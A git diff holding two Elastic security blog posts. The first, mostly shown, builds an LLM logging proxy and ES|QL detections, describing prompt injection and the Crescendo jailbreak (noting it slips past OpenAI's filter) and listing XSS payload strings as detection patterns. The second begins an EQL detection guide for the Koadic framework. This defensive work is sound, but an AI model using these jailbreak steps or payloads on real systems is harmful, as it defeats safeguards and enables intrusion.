"""Proxy endpoint for Azure OpenAI requests."""
|
||||
data = request.get_json()
|
||||
messages = data.get("messages", [])
|
||||
response_content = ""
|
||||
error_response = None
|
||||
|
||||
try:
|
||||
# Forward the request to Azure OpenAI
|
||||
response = client.chat.completions.create(model=deployment_name, messages=messages)
|
||||
response_content = response.choices[0].message.content # Assuming one choice for simplicity
|
||||
choices = response.choices[0].model_dump()
|
||||
except openai.BadRequestError as e:
|
||||
# If BadRequestError is raised, capture the error details
|
||||
error_response = e.response.json().get("error", {}).get("innererror", {})
|
||||
response_content = e.response.json().get("error", {}).get("message")
|
||||
|
||||
# Structure the response with the error details
|
||||
choices = {**error_response.get("content_filter_result", {}),
|
||||
"error": response_content, "message": {"content": response_content}}
|
||||
|
||||
# Perform additional analysis and create the Elastic document
|
||||
additional_analysis = analyze_and_enrich_request(prompt=messages[-1],
|
||||
response_text=response_content,
|
||||
error_response=error_response)
|
||||
log_data = {"request": {"messages": messages[-1]},
|
||||
"response": {"choices": response_content},
|
||||
**additional_analysis}
|
||||
|
||||
# Log the last message and response
|
||||
log_to_elasticsearch(log_data)
|
||||
|
||||
# Calculate token usage
|
||||
prompt_tokens = sum(len(message["content"]) for message in messages)
|
||||
completion_tokens = len(response_content)
|
||||
total_tokens = prompt_tokens + completion_tokens
|
||||
|
||||
# Structure and return the response
|
||||
return jsonify({
|
||||
"choices": [choices],
|
||||
"usage": {
|
||||
"prompt_tokens": prompt_tokens,
|
||||
"completion_tokens": completion_tokens,
|
||||
"total_tokens": total_tokens,
|
||||
}
|
||||
})
|
||||
```
|
||||
|
||||
With the Flask server, you can configure the [OpenAI Kibana Connector](https://www.elastic.co/guide/en/kibana/current/openai-action-type.html) to use your proxy.
|
||||
|
||||

|
||||
|
||||
Since this proxy to your LLM is running locally, credentials and connection information are managed outside of Elastic, and an empty string can be provided in the API key section. Before moving forward, testing your connection is generally a good idea. It is important to consider other security implications if you are considering implementing a proxy solution in a real environment - not something this prototype considered for brevity.
|
||||
|
||||

|
||||
|
||||
|
||||
We can now index our LLM requests and responses and begin to write detections on the available data in the ```azure-openai-logs``` index created in this experiment. Optionally, we could preprocess the data using an Elastic [ingestion pipeline](https://www.elastic.co/guide/en/elasticsearch/reference/current/ingest.html), but in this contrived example, we can effectively write detections with the power of ES|QL.
|
||||
|
||||

|
||||
Sample AzureOpenAI LLM Request/Response Data
|
||||
|
||||
### Langsmith Proxy
|
||||
|
||||
*Note: The [Langsmith Proxy](https://docs.smith.langchain.com/proxy/quickstart) project provides a dockerized proxy for your LLM APIs. While it offers a minimized solution, as of this writing, it lacks native capabilities for incorporating custom security analysis tools or integrating directly with Elastic Security.*
|
||||
|
||||
The LangSmith Proxy is designed to simplify LLM API interaction. It's a sidecar application requiring minimal configuration (e.g., LLM API URL). It enhances performance (caching, streaming) for high-traffic scenarios. It uses NGINX for efficiency and supports optional tracing for detailed LLM interaction tracking. Currently, it works with OpenAI and AzureOpenAI, with future support planned for other LLMs.
|
||||
|
||||
## LLM Potential Attacks and Detection Rule Opportunities
|
||||
|
||||
**It’s important to understand that even though documented lists of protections do not accompany some LLMs, simply trying some of these prompts may be immediately denied or result in banning on whatever platform used to submit the prompt. We recommend experimenting with caution and understand the SLA prior to sending any malicious prompts. Since this exploration leverages OpenAI’s resources, we recommend following the bugcrowd [guidance](https://bugcrowd.com/openai) and sign up for an additional testing account using your @bugcrowdninja.com email address.**
|
||||
|
||||
Here is a list of several plausible examples to illustrate detection opportunities. Each LLM topic includes the OWASP description, an example prompt, a sample document, the detection opportunity, and potential actions users could take if integrating additional security mechanisms in their workflow.
|
||||
|
||||
While this list is currently not extensive, Elastic Security Labs is currently undertaking a number of initiatives to ensure future development, and formalization of rules will continue.
|
||||
|
||||
### LLM01 - prompt injection
|
||||
|
||||
**OWASP Description**: Manipulating LLMs via crafted inputs can lead to unauthorized access, data breaches, and compromised decision-making. Reference [here](https://github.com/OWASP/www-project-top-10-for-large-language-model-applications/blob/main/2_0_vulns/LLM01_PromptInjection.md).
|
||||
|
||||
**Example**: An adversary might try to craft prompts that trick the LLM into executing unintended actions or revealing sensitive information. *Note: Tools like [promptmap](https://github.com/utkusen/promptmap) are available to generate creative prompt injection ideas and automate the testing process.*
|
||||
|
||||
**Prompt**:
|
||||

|
||||
|
||||
**Sample Response**:
|
||||

|
||||
|
||||
**Detection Rule Opportunity**: In this example, the LLM responded by refusing to handle database connection strings due to security risks. It emphasizes keeping credentials private and suggests using secure methods like environment variables or vaults to protect them.
|
||||
|
||||
A very brittle but basic indicator-matching query may look like this:
|
||||
|
||||
``` sql
|
||||
FROM azure-openai-logs |
|
||||
WHERE request.messages.content LIKE "*generate*connection*string*"
|
||||
OR request.messages.content LIKE "*credentials*password*username*"
|
||||
OR response.choices LIKE "*I'm sorry, but I can't assist*"
|
||||
```
|
||||
|
||||
A slightly more advanced query detects more than two similar attempts within the last day.
|
||||
|
||||
``` sql
|
||||
FROM azure-openai-logs
|
||||
| WHERE @timestamp > NOW() - 1 DAY
|
||||
| WHERE request.messages.content LIKE "*credentials*password*username*"
|
||||
OR response.choices LIKE "*I'm*sorry,*but*I*can't*assist*"
|
||||
OR response.choices LIKE "*I*can’t*process*actual*sensitive*"
|
||||
| stats total_attempts = count(*) by connectorId
|
||||
| WHERE total_attempts >= 2
|
||||
```
|
||||
|
||||
*Note that there are many approaches to detect malicious prompts and protect LLM responses. Relying on these indicators alone is not the best approach; however, we can gradually improve the detection with additional enrichment or numerous response attempts. Furthermore, if we introduce an ID into our documents, we can further enhance our query by aggregating attempts based on the field that correlates to a specific user.*
|
||||
|
||||
**Example 2**: The [Crescendo](https://arxiv.org/abs/2404.01833v1) effect is a realistic jailbreak attack where an adversary gradually manipulates a language model through a series of seemingly innocent inquiries that shift towards asking the model to describe hypothetical scenarios involving the unauthorized access and manipulation of secure systems. By doing so, they aim to extract methods that could potentially bypass the LLM’s security constraints.
|
||||
|
||||
**Prompt**:
|
||||

|
||||
|
||||
**Sample Response**:
|
||||

|
||||
|
||||
With the additional analysis from OpenAI’s filtering, we can immediately detect the first occurrence of abuse.
|
||||
|
||||
**Detection Rule Opportunity**:
|
||||
``` sql
|
||||
FROM azure-openai-logs
|
||||
| WHERE @timestamp > NOW() - 1 DAY
|
||||
AND (
|
||||
request.messages.content LIKE "*credentials*password*username*"
|
||||
OR response.choices LIKE "*I'm sorry, but I can't assist*"
|
||||
OR analysis.openai.code == "ResponsibleAIPolicyViolation"
|
||||
OR malicious
|
||||
)
|
||||
| STATS total_attempts = COUNT(*) BY connectorId
|
||||
| WHERE total_attempts > 1
|
||||
| SORT total_attempts DESC
|
||||
```
|
||||
|
||||
However, as you continue to use the Crescendo Effect, we notice that the conversation pivot goes unblocked after the initial content filter by OpenAI. It’s important to understand that even if tactics like this are difficult to prevent, we still have opportunities to detect.
|
||||
|
||||

|
||||
|
||||
Additional analysis tools, like LLM-Guard, detect if the conversation is sensitive, which, in this case, is inaccurate. However, it hints at potential opportunities to track malicious behavior over multiple prompts. Note: We could also take advantage of EQL sequences as an alternative to this ES|QL query to help track behaviors over multiple events.
|
||||
|
||||
``` sql
|
||||
FROM azure-openai-logs
|
||||
| WHERE @timestamp > NOW() - 1 DAY
|
||||
AND (
|
||||
request.messages.content LIKE "*Molotov*"
|
||||
OR analysis.openai.code == "ResponsibleAIPolicyViolation"
|
||||
OR malicious
|
||||
)
|
||||
| STATS attempts = count(*), max_sensitivity = max(analysis.llm_guard_response_scores.Sensitive) BY connectorId
|
||||
| WHERE attempts >= 1 AND max_sensitivity > 0.5
|
||||
| SORT attempts DESC
|
||||
```
|
||||
|
||||
This query detects suspicious behavior related to Molotov Cocktails across multiple events by analyzing sequences of log entries associated with a single user/session (identified by connectorId). The query core filters events based on:
|
||||
|
||||
- **Content Matching**: It searches for mentions of "Molotov" in conversation content (```request.messages.content LIKE "*Molotov*"```)
|
||||
- **Policy Violations: It identifies attempts blocked by OpenAI's safety filters (```analysis.openai.code == "ResponsibleAIPolicyViolation"```), indicating the start of potentially suspicious behavior
|
||||
- **Malicious Flag Consideration**: It includes logs where the system flagged the content as malicious (```malicious == true```), capturing potentially subtle or varied mentions
|
||||
- **Session-Level Analysis**: By grouping events by connectorId, it analyzes the complete sequence of attempts within a session. It then calculates the total number of attempts (```attempts = count(*)```) and the highest sensitivity score (```max_sensitivity = max(analysis.llm_guard_response_scores.Sensitive)```) across all attempts in that session
|
||||
- **Flagging High-Risk Sessions**: It filters sessions with at least one attempt (```attempts >= 1```) and a maximum sensitivity score exceeding 0.5 (```max_sensitivity > 0.5```). This threshold helps focus on sessions where users persistently discussed or revealed potentially risky content.
|
||||
|
||||
By analyzing these factors across multiple events within a session, we can start building an approach to detect a pattern of escalating discussions, even if individual events might not be flagged alone.
|
||||
|
||||
### LLM02 - insecure output handling
|
||||
|
||||
**OWASP Description**: Neglecting to validate LLM outputs may lead to downstream security exploits, including code execution that compromises systems and exposes data. Reference [here](https://github.com/OWASP/www-project-top-10-for-large-language-model-applications/blob/main/2_0_vulns/LLM02_InsecureOutputHandling.md).
|
||||
|
||||
**Example**: An adversary may attempt to exploit the LLM to generate outputs that can be used for cross-site scripting (XSS) or other injection attacks.
|
||||
|
||||
**Prompt**:
|
||||

|
||||
|
||||
**Sample Response**:
|
||||

|
||||
|
||||
**Detection Rule Opportunity**:
|
||||
|
||||
``` sql
|
||||
FROM azure-openai-logs
|
||||
| WHERE @timestamp > NOW() - 1 DAY
|
||||
| WHERE (
|
||||
response.choices LIKE "*<script>*"
|
||||
OR response.choices LIKE "*document.cookie*"
|
||||
OR response.choices LIKE "*<img src=x onerror=*"
|
||||
OR response.choices LIKE "*<svg/onload=*"
|
||||
OR response.choices LIKE "*javascript:alert*"
|
||||
OR response.choices LIKE "*<iframe src=# onmouseover=*"
|
||||
OR response.choices LIKE "*<img ''><script>*"
|
||||
OR response.choices LIKE "*<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>*"
|
||||
OR response.choices LIKE "*<IMG SRC=# onmouseover=alert('xxs')>*"
|
||||
OR response.choices LIKE "*<IMG onmouseover=alert('xxs')>*"
|
||||
OR response.choices LIKE "*<IMG SRC=/ onerror=alert(String.fromCharCode(88,83,83))>*"
|
||||
OR response.choices LIKE "*javascript:alert('XSS')>*"
|
||||
OR response.choices LIKE "*<IMG SRC=javascript:alert('XSS')>*"
|
||||
OR response.choices LIKE "*<IMG SRC=\"jav
ascript:alert('XSS');\">*"
|
||||
)
|
||||
| stats total_attempts = COUNT(*), users = COUNT_DISTINCT(connectorId)
|
||||
| WHERE total_attempts >= 2
|
||||
```
|
||||
|
||||
This pseudo query detects potential insecure output handling by identifying LLM responses containing scripting elements or cookie access attempts, which are common in Cross-Site Scripting (XSS) attacks. It is a shell that could be extended by allow or block lists for well-known keywords.
|
||||
|
||||
### LLM04 - model DoS
|
||||
|
||||
**OWASP Description**: Overloading LLMs with resource-heavy operations can cause service disruptions and increased costs. Reference [here](https://github.com/OWASP/www-project-top-10-for-large-language-model-applications/blob/main/2_0_vulns/LLM04_ModelDoS.md).
|
||||
|
||||
**Example**: An adversary may send complex prompts that consume excessive computational resources.
|
||||
|
||||
**Prompt**:
|
||||

|
||||
|
||||
**Sample Response**:
|
||||

|
||||
|
||||
Detection Rule Opportunity:
|
||||
|
||||
``` sql
|
||||
FROM azure-openai-logs
|
||||
| WHERE @timestamp > NOW() - 1 DAY
|
||||
| WHERE response.choices LIKE "*requires*significant*computational*resources*"
|
||||
| stats total_attempts = COUNT(*), users = COUNT_DISTINCT(connectorId)
|
||||
| WHERE total_attempts >= 2
|
||||
```
|
||||
|
||||
This detection illustrates another simple example of how the LLM response is used to identify potentially abusive behavior. Although this example may not represent a traditional security threat, it could emulate how adversaries can impose costs on victims, either consuming resources or tokens.
|
||||
|
||||
**Example 2**: An adversary may send complex prompts that consume excessive computational resources.
|
||||
|
||||
**Prompt**:
|
||||

|
||||
|
||||
**Sample Response**:
|
||||

|
||||
|
||||
At a glance, this prompt appears to be benign. However, excessive requests and verbose responses in a short time can significantly increase costs.
|
||||
|
||||
**Detection Rule Opportunity**:
|
||||
|
||||
``` sql
|
||||
FROM azure-openai-logs
|
||||
| WHERE @timestamp > NOW() - 1 HOUR
|
||||
| STATS request_count = COUNT(*), distinct_prompts = COUNT_DISTINCT(request.messages.content) BY connectorId
|
||||
| WHERE request_count > 50 AND distinct_prompts > 10
|
||||
| SORT request_count DESC
|
||||
```
|
||||
|
||||
In the context of example 2, this working query efficiently tracks and analyzes usage patterns by counting all requests and distinct prompt contents for each ```connectorId``` from the ```azure-openai-logs``` over the past hour. If any ```connectorId``` submits over 50 requests with more than ten unique prompts within this timeframe, it indicates a potential misuse pattern like the one described, where an adversary might be modifying queries to probe encryption algorithm details, potentially causing undue load or evading detection systems. The results are then ordered to prioritize the ```connectorIds``` with the highest request counts, which helps quickly identify the most active or suspicious sources.
|
||||
|
||||
### LLM06 - sensitive information disclosure
|
||||
|
||||
**OWASP Description**: Failure to protect against disclosure of sensitive information in LLM outputs can result in legal consequences or a loss of competitive advantage. Reference [here](https://github.com/OWASP/www-project-top-10-for-large-language-model-applications/blob/main/2_0_vulns/LLM06_SensitiveInformationDisclosure.md).
|
||||
|
||||
**Example**: An adversary may craft prompts to extract sensitive information embedded in the training data.
|
||||
|
||||
**Prompt**:
|
||||

|
||||
|
||||
**Sample Response**:
|
||||

|
||||
|
||||
Detection Rule Opportunity:
|
||||
|
||||
``` sql
|
||||
FROM azure-openai-logs
|
||||
| WHERE @timestamp > NOW() - 1 DAY
|
||||
| WHERE request.messages.content LIKE "*common*passwords*used*in*the*dataset*" AND malicious
|
||||
| stats total_attempts = COUNT(*), users = COUNT_DISTINCT(connectorId)
|
||||
BY identified_threats.keyword, analysis.langkit_score
|
||||
| WHERE total_attempts >= 2
|
||||
```
|
||||
|
||||
This query searches for logs from the last day that contain requests specifically asking about "common passwords used in the dataset" to train the model and where such requests are flagged as malicious. It aggregates these logs to count the number of such attempts and identifies distinct users involved, grouped by any identified threats and the language kit score. With some enrichment, the inclusion of ```AND malicious = true``` ensures focus on requests already flagged as potentially harmful, helping to prioritize investigation and response actions.
|
||||
|
||||
## Enriching Detection Rules with Security Insights
|
||||
|
||||
By routing LLM requests through a proxy, we can capitalize on specialized security tools to analyze each request for signs of malicious intent. Upon detection, the original request can be enriched with additional metadata indicating the likelihood of malicious content and the specific type of threat it represents. This enriched data is then indexed in Elasticsearch, creating a robust monitoring, alerting, and retrospective analysis dataset. With this enrichment, the LLM detection opportunities from the last section are possible.
|
||||
|
||||
We don’t deep-dive on every tool available, but several open-source tools have emerged to offer varying approaches to analyzing and securing LLM interactions. Some of these tools are backed by machine learning models trained to detect malicious prompts:
|
||||
|
||||
- **Rebuff** ([GitHub](https://github.com/protectai/rebuff)): Utilizes machine learning to identify and mitigate attempts at social engineering, phishing, and other malicious activities through LLM interactions. Example usage involves passing request content through Rebuff's analysis engine and tagging requests with a "malicious" boolean field based on the findings.
|
||||
- **LLM-Guard** ([GitHub](https://github.com/protectai/llm-guard)): Provides a rule-based engine for detecting harmful patterns in LLM requests. LLM-Guard can categorize detected threats based on predefined categories, enriching requests with detailed threat classifications.
|
||||
- **LangKit** ([GitHub](https://github.com/whylabs/langkit/tree/main)): A toolkit designed for monitoring and securing LLMs, LangKit can analyze request content for signs of adversarial inputs or unintended model behaviors. It offers hooks for integrating custom analysis functions.
|
||||
- **Vigil-LLM** ([GitHub](https://github.com/deadbits/vigil-llm)): Focuses on real-time monitoring and alerting for suspicious LLM requests. Integration into the proxy layer allows for immediate flagging potential security issues, enriching the request data with vigilance scores.
|
||||
- **Open-Prompt Injection** ([GitHub](https://github.com/liu00222/Open-Prompt-Injection)): Offers methodologies and tools for detecting prompt injection attacks, allowing for the enrichment of request data with specific indicators of compromise related to prompt injection techniques.
|
||||
|
||||
*Note: Most of these tools require additional calls/costs to an external LLM, and would require further infrastructure to threat hunt effectively.*
|
||||
|
||||
One simple example implementation that uses LLM-guard and LangKit might look like this:
|
||||
|
||||
``` python
|
||||
def analyze_and_enrich_request(
|
||||
prompt: str, response_text: str, error_response: Optional[dict] = None
|
||||
) -> dict:
|
||||
"""Analyze the prompt and response text for malicious content and enrich the document."""
|
||||
|
||||
# LLM Guard analysis
|
||||
sanitized_prompt, results_valid_prompt, results_score_prompt = scan_prompt(
|
||||
input_scanners, prompt["content"]
|
||||
)
|
||||
(
|
||||
sanitized_response_text,
|
||||
results_valid_response,
|
||||
results_score_response,
|
||||
) = scan_output(output_scanners, sanitized_prompt, response_text)
|
||||
|
||||
# LangKit for additional analysis
|
||||
schema = injections.init()
|
||||
langkit_result = extract({"prompt": prompt["content"]}, schema=schema)
|
||||
|
||||
# Initialize identified threats and malicious flag
|
||||
identified_threats = []
|
||||
|
||||
# Check LLM Guard results for prompt
|
||||
if not any(results_valid_prompt.values()):
|
||||
identified_threats.append("LLM Guard Prompt Invalid")
|
||||
|
||||
# Check LLM Guard results for response
|
||||
if not any(results_valid_response.values()):
|
||||
identified_threats.append("LLM Guard Response Invalid")
|
||||
|
||||
# Check LangKit result for prompt injection
|
||||
prompt_injection_score = langkit_result.get("prompt.injection", 0)
|
||||
if prompt_injection_score > 0.4: # Adjust threshold as needed
|
||||
identified_threats.append("LangKit Injection")
|
||||
|
||||
# Identify threats based on LLM Guard scores
|
||||
for category, score in results_score_response.items():
|
||||
if score > 0.5:
|
||||
identified_threats.append(category)
|
||||
|
||||
# Combine results and enrich document
|
||||
# llm_guard scores map scanner names to float values of risk scores,
|
||||
# where 0 is no risk, and 1 is high risk.
|
||||
# langkit_score is a float value of the risk score for prompt injection
|
||||
# based on known threats.
|
||||
enriched_document = {
|
||||
"analysis": {
|
||||
"llm_guard_prompt_scores": results_score_prompt,
|
||||
"llm_guard_response_scores": results_score_response,
|
||||
"langkit_score": prompt_injection_score,
|
||||
},
|
||||
"malicious": any(identified_threats),
|
||||
"identified_threats": identified_threats,
|
||||
}
|
||||
|
||||
# Check if there was an error from OpenAI and enrich the analysis
|
||||
if error_response:
|
||||
code = error_response.get("code")
|
||||
filtered_categories = {
|
||||
category: info["filtered"]
|
||||
for category, info in error_response.get(
|
||||
"content_filter_result", {}
|
||||
).items()
|
||||
}
|
||||
|
||||
enriched_document["analysis"]["openai"] = {
|
||||
"code": code,
|
||||
"filtered_categories": filtered_categories,
|
||||
}
|
||||
if code == "ResponsibleAIPolicyViolation":
|
||||
enriched_document["malicious"] = True
|
||||
|
||||
return enriched_document
|
||||
```
|
||||
|
||||
This function could be called for each request passing through the proxy, with the returned data being appended to the request document before it's sent to Elasticsearch. The result is a detailed and actionable dataset that captures the raw interactions with the LLM and provides immediate security insights to embed in our detection rules based on the request and response. Going full circle with the prompt injection LLM01 example, the query could be updated to something like this:
|
||||
|
||||
``` sql
|
||||
FROM azure-openai-logs
|
||||
| WHERE @timestamp > NOW() - 1 DAY
|
||||
| WHERE identified_threats.keyword == "LangKit Injection" OR analysis.langkit_score > 0.4
|
||||
| stats total_attempts = count(*), users = count_distinct(connectorId) by identified_threats.keyword, analysis.langkit_score
|
||||
| WHERE users == 1 and total_attempts >= 2
|
||||
```
|
||||
|
||||
As you can see, both scoring mechanisms are subjective based on the results returned from the open source prompt analysis tools. This query filters logs from the past day where the identified threat is "LangKit Injection" or the LangKit score is above ```0.4```. It then calculates the total attempts and counts the number of unique users (agents) associated with each identified threat category and LangKit score, filtering to include only cases where there's a single user involved (```users == 1```) and the total attempts are two or more (```total_attempts >= 2```).
|
||||
|
||||
With these additional tools, we have a variety of analysis result fields available to improve our detection rules. In these examples, we shipped most of the data as-is for simplicity. However, in a production environment, it's crucial to normalize these fields across all tools and LLM responses to a schema like [Elastic Common Schema](https://www.elastic.co/guide/en/ecs/current/ecs-reference.html) (ECS). Normalizing data to ECS enhances interoperability between different data sources, simplifies analysis, and streamlines the creation of more effective and cohesive security rules.
|
||||
|
||||
In Part two of this series, we will discuss how we’ve taken a more formal approach to ECS field mapping, and integrations.
|
||||
|
||||
## Alternative Options for LLM Application Auditing
|
||||
|
||||
While using a proxy may be straightforward, other approaches may better suit a production setup; for example:
|
||||
|
||||
- Utilizing [application performance monitoring](https://www.elastic.co/observability/application-performance-monitoring) (APM)
|
||||
- Using the OpenTelemetry integration
|
||||
- Modifying changes in Kibana directly to audit and trace LLM activity
|
||||
|
||||
Unsurprisingly, these approaches have potential limitations like not natively ingesting all the LLM security analysis tool data generated without developing custom logic to support third-party tools.
|
||||
|
||||
### Leveraging Elastic APM for In-Depth Application Insights
|
||||
|
||||
Elastic [APM](https://www.elastic.co/guide/en/observability/current/apm.html) provides an alternative solution for monitoring applications in real-time, essential for detecting performance bottlenecks and identifying problematic requests or queries. By integrating Elastic APM, users gain detailed insights into transaction times, database query performance, external API call efficiency, and more. This comprehensive visibility makes it easier to address and resolve performance issues or errors quickly. Unlike the proxy approach, APM automatically ingests logs into Elastic about your application, providing an opportunity to create security detection rules based on the behaviors seen within your data.
|
||||
|
||||
### Utilizing OpenTelemetry for Enhanced Observability
|
||||
|
||||
For applications already employing OpenTelemetry, leveraging its [integration](https://www.elastic.co/guide/en/observability/current/apm-open-telemetry.html) with Elastic APM can enhance observability without requiring extensive instrumentation changes. This integration supports capturing a wide array of telemetry data, including traces and metrics, which can be seamlessly sent to the Elastic Stack. This approach allows developers to continue using familiar libraries while benefiting from the robust monitoring capabilities of Elastic. OpenTelemetry’s compatibility across multiple programming languages and its [support through Elastic’s native protocol](https://www.elastic.co/guide/en/observability/current/apm-open-telemetry.html) (OTLP) facilitate straightforward data transmission, providing a robust foundation for monitoring distributed systems. Compared to the proxy example, this approach more natively ingests data than maintaining an independent index and logging mechanism to Elastic.
|
||||
|
||||
### LLM Auditing with Kibana
|
||||
|
||||
Like writing custom logic for your LLM application to audit and ship data, you can test the approach with Elastic’s AI Assistant. If you're comfortable with TypeScript, consider deploying a local Elastic instance using the Kibana [Getting Started Guide](https://www.elastic.co/guide/en/kibana/current/development-getting-started.html). Once set up, navigate to the [Elastic AI Assistant](https://github.com/elastic/kibana/tree/main/x-pack/plugins/elastic_assistant) and configure it to intercept LLM requests and responses for auditing and analysis. Note: This approach primarily tracks Elastic-specific LLM integration compared to using APM and other integrations or a proxy to track third-party applications. It should only be considered for experimentation and exploratory testing purposes.
|
||||
|
||||
Fortunately, Kibana is already instrumented with APM, so if you configure an APM server, you will automatically start ingesting logs from this source (by setting ```elastic.apm.active: true```). See the [README](https://github.com/elastic/kibana/blob/main/x-pack/plugins/elastic_assistant/server/lib/langchain/tracers/README.mdx) for more details.
|
||||
|
||||
## Closing Thoughts
|
||||
|
||||
As we continue with this exploration into integrating security practices within the lifecycle of large language models at Elastic, it's clear that embedding security into LLM workflows can provide a path forward for creating safer and more reliable applications. These contrived examples, drawn from our work during OnWeek, illustrate how someone can proactively detect, alert, and triage malicious activity, leveraging the security solutions that analysts find most intuitive and effective.
|
||||
|
||||
It’s also worth noting that with the example proxy approach, we can incorporate a model to actively detect and prevent requests. Additionally, we can triage the LLM response before sending it back to the user if we’ve identified malicious threats. At this point, we have the flexibility to extend our security protections to cover a variety of defensive approaches. In this case, there is a fine line between security and performance, as each additional check will consume time and impede the natural conversational flow that users would expect.
|
||||
|
||||
Feel free to check out the proof-of-concept proxy at [llm-detection-proxy](https://github.com/elastic/llm-detection-proxy) and adapt it to fit your needs!
|
||||
|
||||
We’re always interested in hearing use cases and workflows like these, so as always, reach out to us via [GitHub issues](https://github.com/elastic/detection-rules/issues), chat with us in our [community Slack](http://ela.st/slack), and ask questions in our [Discuss forums](https://discuss.elastic.co/c/security/endpoint-security/80).
|
||||
|
||||
*The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.*
|
|
@ -0,0 +1,239 @@
|
|||
---
|
||||
title: "Embracing offensive tooling: Building detections against Koadic using EQL"
|
||||
slug: "embracing-offensive-tooling-building-detections-against-koadic-using-eql"
|
||||
date: "2022-06-01"
|
||||
description: "Find new ways to build behavioral detections against post-exploitation frameworks such as Koadic using Event Query Language (EQL)."
|
||||
author:
|
||||
- slug: daniel-stepanic
|
||||
image: "blog-thumb-network-attack-map.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
---
|
||||
|
||||
This year at [BSidesDFW](http://www.bsidesdfw.com/), my local security conference, I highlighted a continuing trend of adversaries using open source offensive tools. The [talk](https://docs.google.com/presentation/d/1Wq76DqLzrF2-qxnhWTSXzmuHjBdXoND2tzMw2zeopfs) reviewed one of these post-exploitation frameworks named [Koadic](https://github.com/zerosum0x0/koadic) and walked through different ways defenders can build behavioral detections through the use of [Event Query Language](https://www.endgame.com/blog/technical-blog/introducing-event-query-language) (EQL). In this post, I wanted to review this research by providing background into Koadic and its features, why it’s relevant, and then dive into some EQL examples where I will share different detection strategies against the Koadic framework.
|
||||
|
||||
Adversaries continue to adopt open source attack frameworks as part of their toolset. By using these off-the-shelf tools, attackers are able to complete their objectives while reducing their development costs and present attribution problems for incident responders. These tools challenge traditional investigative techniques by creating the idea of plausible deniability and leave fewer toolmarks that can be traced back to an adversary. Even with strong threat intelligence capabilities and proper defensive visibility, it’s not always an easy task to differentiate red team operations from real adversary behavior — especially in the early phases of an attack.
|
||||
|
||||
As defenders, we are required to actively monitor offensive open source projects. These projects serve as canaries in a coal mine, giving us an opportunity to gain insights into new attacker tradecraft. Not only does this get us into an attacker mindset, but all the code is freely available for emulation and review. Some different ways to get value from dissecting these tools can be through validating your detection capabilities, generating new analytics, developing threat hunting hypotheses, or by simply transferring knowledge around an underlying behavior.
|
||||
|
||||
### Why Koadic?
|
||||
|
||||
Koadic is a great candidate to demonstrate behavior-based detections due its interesting way of leveraging technologies built into the Windows OS — such as Windows Script Host (WSH) and the Component Object Model (COM). COM and WSH fall into the general category of “living off the land” tools, which allow adversaries to proxy the execution of their toolset through [built-in Windows programs](https://github.com/LOLBAS-Project/LOLBAS/tree/master/yml/OSBinaries).
|
||||
|
||||
This can be very desirable from an attacker’s standpoint, as it allows them to blend in better within the network while producing less of a forensic footprint — rather than dropping and executing a file on disk. COM and WSH are particularly attractive to attackers because of a lack of robust, built-in logging capabilities in contrast to tools like PowerShell (for which Windows has added extensive logging capabilities in newer versions). Koadic is good enough for mature threat groups such as [APT28](https://attack.mitre.org/groups/G0007/) and has received frequent updates over the last couple years.
|
||||
|
||||

|
||||
|
||||
_Koadic overview & features_
|
||||
|
||||
### EQL
|
||||
|
||||
Some of the more exciting parts of my job as a practitioner come when writing behavioral detections using EQL. This process brings out my inner detective skills that I find to be fulfilling and challenging at the same time. The language enables practitioners to go beyond matching static values such as Indicators of Compromise (IoCs) to a much more comprehensive and flexible way to detect adversary behaviors. With the ability to leverage features like time-bound sequencing or track process lineage, more options are opened up to us as defenders to build reliable and lasting detections.
|
||||
|
||||
I find this to be rewarding, as I can directly apply my previous SOC work experience around host-based forensics into a much more dynamic detection that holds up against the latest attacker tradecraft. The best part is that EQL has a very simple syntax with a short learning curve, so if you aren’t able to adopt EQL today, hopefully the logic within these queries can be applied to your current solution.
|
||||
|
||||
For a quick recap into the language itself and its core capabilities, I recommend reviewing our previous blog post: [Introducing Event Query Language](https://www.endgame.com/blog/technical-blog/introducing-event-query-language). In summary, EQL is a schema-independent and OS-agnostic language built for real-time detection with stream processing. It supports multiple-event behaviors and also offers post-processing commands used to analyze large amounts of data. With that background, let’s start diving into some of the different ways to detect Koadic using EQL.
|
||||
|
||||
### Initial access
|
||||
|
||||
**Spearphishing Attachment (**[**T1193**](https://attack.mitre.org/techniques/T1193/)**)**
|
||||
|
||||
Validating parent-child process relationships continues to be a fruitful technique for hunting and building detections. As attacker activity becomes more evasive, however, we also have a need for flexibility as defenders. This first example shows off the value of tracking process ancestry using EQL’s descendant function, which lets us maintain state and track full process genealogy. This is an important concept because it goes beyond the typical parent-child process paradigm that many languages are limited to.
|
||||
|
||||
By tracking further descendant processes, defenders have the ability to follow process chains infinitely down the process tree. This provides more freedom in how we can express suspicious behavior together while also allowing tighter controls around process ancestry.
|
||||
|
||||

|
||||
|
||||
_Descendant process tree visualization (APT28)_
|
||||
|
||||
This process chain comes from a sample [reported](https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/) by Palo Alto Networks in June 2018 associated with [APT28](https://attack.mitre.org/groups/G0007/) activity. In this EQL expression, we are monitoring all descendant processes of our email client (Outlook.exe) and only looking for new process creation events tied to [Mshta](https://attack.mitre.org/techniques/T1170/). This allows us to focus on the initial attack vector (Spearphishing email) and then filter on Windows programs being used to execute attacker code. This is a great foundation for strong analytics — if we wanted to create something more robust, we could build out a longer array of cohorts associated with initial compromise stages, as well as add the entire Microsoft Office suite as descendants.
|
||||
|
||||

|
||||
|
||||
_Initial access & execution - Spearphishing example_
|
||||
|
||||
EQL query:
|
||||
|
||||
```
|
||||
process where process_name == "mshta.exe" and descendant of
|
||||
[process where process_name == "outlook.exe"]
|
||||
```
|
||||
|
||||
### Defense evasion/execution
|
||||
|
||||
**Mshta (**[**T1170**](https://attack.mitre.org/techniques/T1170/)**), Rundll32 (**[**T1085**](https://attack.mitre.org/techniques/T1085/)**)**
|
||||
|
||||
Tools like Koadic often include some usability features that help facilitate payload building, also known as [stagers](https://github.com/zerosum0x0/koadic/tree/master/data/stager/js). These small pieces of code get executed on the victim machine and are used to establish a network connection back to the attacker in order to bring in a staged payload for execution. Stagers represent a significant portion of the early phases of the intrusion process. The following example continues exploring the detection strategy for a variety of Windows utilities used to proxy execution with Koadic stagers.
|
||||
|
||||
